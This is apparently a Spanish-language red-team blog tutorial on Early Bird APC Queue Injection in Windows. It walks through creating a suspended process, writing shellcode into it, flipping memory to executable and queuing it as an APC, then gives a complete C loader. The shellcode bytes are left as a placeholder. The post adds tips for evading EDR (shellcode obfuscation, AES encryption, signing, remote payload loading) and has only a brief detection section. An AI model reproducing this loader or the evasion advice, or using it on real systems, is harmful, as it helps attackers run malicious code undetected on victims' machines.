Process Injection Tradecraft: Early Bird APC Queue Injection en Práctica
Introducción
La inyección de procesos sigue siendo una primitiva fundamental en operaciones ofensivas sobre Windows. Sin embargo, la visibilidad actual de los EDR ha convertido las aproximaciones más básicas en técnicas ruidosas y fáciles de correlacionar. Los métodos tradicionales que crean hilos remotos o inyectan código en procesos inicializados desde cero generan patrones de comportamiento claros y relativamente sencillos de detectar.
No obstante, el Early Bird APC Queue Injection adopta un enfoque distinto.
La técnica
En lugar de atacar un proceso que ya está en ejecución, se crea uno nuevo en estado SUSPENDED, se inyecta el payload en su espacio de memoria, se encola como un APC (Asynchronous Procedure Call) en user-mode sobre el hilo principal para posteriormente reanudar su ejecución.
Dado que el APC se despacha cuando el hilo entra en un estado alertable (algo que ocurre durante las fases tempranas de inicialización), el payload puede ejecutarse antes de que buena parte de la instrumentación en user-space esté completamente establecida.
Diagrama de flujo del Early Bird APC Queue Injection, Cyberbit.com
En este post implementaremos la técnica paso a paso y analizaremos qué ocurre realmente por debajo, tomando en consideración buenas prácticas dentro de escenarios reales de Red Team.
1. CreateProcessW
El primer paso es crear un nuevo proceso usando CreateProcessW.
STARTUPINFOW si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
CreateProcessW(
L"C:\\windows\\system32\\cmd.exe", // nombre del programa
NULL, // comandos / argumentos
NULL, // atributos del proceso
NULL, // atributos de los hilos
FALSE, // herencia
CREATE_SUSPENDED, // flags de creación
NULL, // entorno
NULL, // directorio actual
&si, // información de arranque
&pi // información del proceso - donde se guardarán los handles y el PID
);Como se ve en el código, es imprescindible usar la flag CREATE_SUSPENDED. Adicionalmente, es obligatorio pasar los punteros a las estructuras STARTUPINFOW y PROCESS_INFORMATION, de lo contrario la llamada fallará.
Tras la creación del proceso, la estructura pi contendrá:
pi.hProcess -> handle al proceso creado pi.hThread -> handle al hilo principal pi.dwProcessId -> DWORD que contiene el PID
2. VirtualAllocEx
A continuación, reservamos memoria en el proceso recién creado mediante VirtualAllocEx:
void* p = VirtualAllocEx(
pi.hProcess, // handle al proceso creado
NULL, // dirección de memoria (NULL para que Windows lo gestione)
sizeof shellcode, // tamaño requerido para espacio de memoria
MEM_RESERVE | MEM_COMMIT, // tipo de asignación
PAGE_READWRITE // flags de protección
);Utilizamos MEM_RESERVE | MEM_COMMIT para reservar la memoria y confirmar su uso, asegurando que se encuentre completamente vacía (zeroed) cuando se vaya a acceder.
Además, se usa la flag PAGE_READWRITE para establecer la zona de memoria con permisos de lectura y escritura (pero no de ejecución), evitando asignar permisos RX sospechosos directamente y reduciendo indicadores evidentes de comportamiento sospechoso de primeras. Eso sí, más adelante tendremos que cambiar la zona de memoria a RX.
3. WriteProcessMemory
Ahora se escribe el shellcode en la zona de memoria asignada ;)
WriteProcessMemory(
pi.hProcess, // handle al proceso
p, // puntero a la zona de memoria
&shellcode, // puntero al buffer que va a escribir
sizeof shellcode, // tamaño del buffer que se va a escribir
NULL // variable opcional para guardar los bytes escritos
);Llegados a este punto, el payload ya reside en memoria dentro del proceso creado. El siguiente paso será habilitar su ejecución.
4. VirtualProtectEx
Dado que la memoria se creó con la flag PAGE_READWRITE, no puede ejecutarse el shellcode. Por ello, es necesario usar VirtualProtectEx para modificar la flag.
DWORD oldProtect;
VirtualProtectEx(
pi.hProcess, // handle al proceso
p, // puntero a la zona de memoria
sizeof shellcode, // tamaño de la zona de memoria
PAGE_EXECUTE_READ, // flag nueva
&oldProtect // PDWORD para guardar las flags antiguas
);Como se ve en el código, VirtualProtectEx necesita un puntero a un DWORD para guardar las flags anteriores, de lo contrario genera un error.
5. QueueUserAPC
Una vez que la memoria es ejecutable, encolamos el payload como APC en el hilo principal:
QueueUserAPC(
(PAPCFUNC) p, // puntero a la zona de memoria, casteado a un puntero de función APC (APCFUNC)
pi.hThread, // puntero al hilo principal
NULL // parámetros necesarios para la APCFUNC
);6. ResumeThread
Finalmente, reanudamos el hilo suspendido y cerramos los handles:
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);Al reanudarse, el hilo podrá despachar el APC y ejecutar el shellcode.
Ejecución
Ahora a testear ;)
Early Bird APC Queue Injection puesto en práctica
Código en C
Ahora que hemos cubierto todos los pasos, vamos a juntar todo con un poco de gestión de errores.
#include <Windows.h>
#include <stdio.h>
int main(int argc, char** argv) {
unsigned char shellcode[] = "...";
// 1. Crear proceso suspendido
STARTUPINFOW si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
bool res = CreateProcessW(
L"C:\\windows\\system32\\cmd.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi);
if (!res) {
printf("[ERR CreateProcessW] GetLastError=%lu\n", GetLastError());
}
else {
printf("[OK CreateProcessW] Process created on PID:%lu\n", pi.dwProcessId);
}
// 2. Alocar región de memoria
void* p = VirtualAllocEx(pi.hProcess,
NULL,
sizeof shellcode,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE
);
if (!p) {
printf("[ERR VirtualAllocEx] GetLastError=%lu\n", GetLastError());
}
else {
printf("[OK VirtualAllocEx] Allocated memory in %p\n", p);
}
// 3. Escribir el buffer a la memoria
SIZE_T written = 0;
res = WriteProcessMemory(pi.hProcess, p, &shellcode, sizeof shellcode, &written);
if (!res) {
printf("[ERR WriteProcessMemory] GetLastError=%lu\n", GetLastError());
}
else {
printf("[OK WriteProcessMemory] Wrote %lu bytes of shellcode successfully\n", written);
}
// 4. Modificar flags de protección
DWORD oldProtect;
res = VirtualProtectEx(pi.hProcess, p, sizeof shellcode, PAGE_EXECUTE_READ, &oldProtect);
if (!res) {
printf("[ERR VirtualProtectEx] GetLastError=%lu\n", GetLastError());
}
else {
printf("[OK VirtualProtectEx] Changed PROTECT FLAGS to PAGE_EXECUTE_READ\n");
}
// 5. Encolar la función a la cola APC del hilo principal
res = QueueUserAPC((PAPCFUNC) p, pi.hThread, NULL);
if (!res) {
printf("[ERR QueueUserAPC] GetLastError=%lu\n", GetLastError());
}
else {
printf("[OK QueueUserAPC] Queued the shellcode into the APC of the main thread\n");
}
// 6. Reanudar el hilo y cerrar handles
DWORD resThread = ResumeThread(pi.hThread);
if (resThread == -1) {
printf("[ERR ResumeThread] GetLastError=%lu\n", GetLastError());
}
else {
printf("[OK ResumeThread] Thread resumed. Executing shellcode...\n");
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}Detección
Aunque la técnica es más discreta que métodos tradicionales de Process Injection, sigue siendo potencialmente detectable por software sofisticado. Algunos puntos de monitorización relevantes:
- Creación de procesos en estado
SUSPENDEDpor procesos no asociados a depuración. - Operaciones de memoria entre procesos (e.g.
VirtualAllocEx,WriteProcessMemoryoVirtualProtectEx). - Encolado de
APCen el hilo principal.
Si bien cada acción por separado podría llegar a ser legítima, la correlación temporal de todas ellas es extremadamente poco común en software benigno, por lo que podría ser un indicador de malware.
Conclusion
Aunque la técnica de Early Bird APC Queue Injection es una técnica conocida y no elimina por completo las huellas asociadas a la inyección de procesos, modifica el patrón de ejecución lo suficiente como para evadir modelos de detección simplistas basados en creación de hilos remotos o manipulación tardía del proceso.
Como base de buena opsec, la técnica es sólida. No obstante, puede reforzarse combinándola con otras técnicas:
- Ofuscación del shellcode (UUIDs, direcciones IP, etc.).
- Cifrado AES y descifrado en tiempo de ejecución.
- Firma del binario generado.
- Carga remota del payload.
- Uso de shellcode personalizado.
